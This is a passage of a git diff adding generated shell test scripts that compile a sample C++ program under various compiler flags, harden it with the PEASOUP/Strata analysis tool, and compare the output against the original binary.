+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..c444d7e1fc44f70bbb3436843d1c3a63b4a07a5e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="      -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a94bc438af055170dfdd5e87d80bdec793fc3891
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="      -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..35cdbfe9cfc58dfc615851e64b822acf8cad34a5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="      -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..c98978d2146328a40f57e6912177b7f68eb6b210
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="        -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="        -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..72194b98d44dd2a5622f20228edba7c9e51917bb
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="        -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="        -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d8cc76639c3b8b6ce4049745114dfddfd8d2b891
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="          -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="          -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
